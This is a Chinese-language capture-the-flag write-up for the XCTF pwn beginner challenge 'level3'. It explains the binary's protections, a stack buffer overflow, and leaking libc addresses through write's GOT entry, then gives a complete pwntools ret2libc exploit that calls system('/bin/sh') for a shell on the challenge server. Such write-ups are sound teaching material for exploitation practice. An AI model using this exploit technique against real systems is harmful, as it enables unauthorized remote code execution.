攻防世界pwn新手区level3
下载附件后发现是tar.gz文件,
使用该命令解压
tar -xvf 文件名 解压后保存到的目录
解压后发现给了libc,libc是c语言函数库,里面包含各种函数如write,read,system,也有字符串/bin/sh等
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
32位,小端序
开启部分RELRO---got表仍可写
未开启canary保护---存在栈溢出
开启NX保护----注入的shellcode不可执行
未开启PIE----程序地址为真实地址
动态链接
ida查看伪代码
找到主函数,调用了一个子函数
read函数,buf0x88大小空间,read函数读入0x100字节,存在栈溢出
不过在程序里没有查到有system函数,不过题目给了libc,利用libc获得system地址和字符串/bin/sh地址
需要注意的是,动态链接的程序的延迟绑定性质(即在程序真正调用函数的时候才会确定该函数的地址),而 libc.so 动态链接库中的函数之间相对偏移是固定的,可以通过泄露已经执行过的函数的地址,减去libc中的该函数的地址算出相对偏移,再用libc中system的地址加上相对偏移就是system的真实地址。所以不能直接用libc中的函数地址,需要在程序执行时,泄露出libc中某个函数的真实地址,一般用程序中的write函数或puts函数泄露。
可以ROPgadget查找/bin/sh地址
ROPgadget用法
1.查找ret/rax地址
ROPgadget --binary 文件名 --only "pop|ret" | grep rdi
ROPgadget --binary 文件名 --only "pop|ret" | grep rsi
2.查找字符串
ROPgadget --binary 文件名 --sting '/bin/sh'
exp
from pwn import *
context(os = 'linux',endian = 'little',arch ='i386',log_level = 'debug') #小端序,linux系统,32位架构,debug
sh = remote('111.200.241.244',57099) #连接远程程序
elf = ELF('./level3') #获得程序函数地址
libc = ELF('./libc_32.so.6') #获得libc函数地址
write_got = elf.got['write'] #获取write函数got表地址----真正地址
write_plt = elf.plt['write'] #获取write函数plt表地址----指向got表地址
main_addr = elf.sym['main'] #获取主函数地址,方便下次调用
sh.recvuntil('Input:\n')
payload = flat(['a' * 0x88,'b' * 0x4,write_plt,main_addr,1,write_got,4]) #用write函数将write的got表地址(真正地址)输出到终端
sh.sendline(payload)
write_addr = u32(sh.recv(4)) #接收write的got表地址(字节),并用u32函数解包为整数
print(hex(write_addr) )#hex()函数打包为字节型数(16进制)
libcbase = write_addr - libc.sym['write'] #获得函数相对偏移
system_addr = libc.sym['system'] + libcbase #system真实地址
bin_sh = 0x0015902b #libc中的/bin/sh地址
bin_sh_addr = libcbase + bin_sh #/bin/sh真实地址
sh.recvuntil('Input:\n')
payload = flat(['a' * 0x88,'b' * 0x4,system_addr,'cccc',bin_sh_addr]) #调用system函数,获得系统权限
sh.sendline(payload)
sh.interactive()
运行获得shell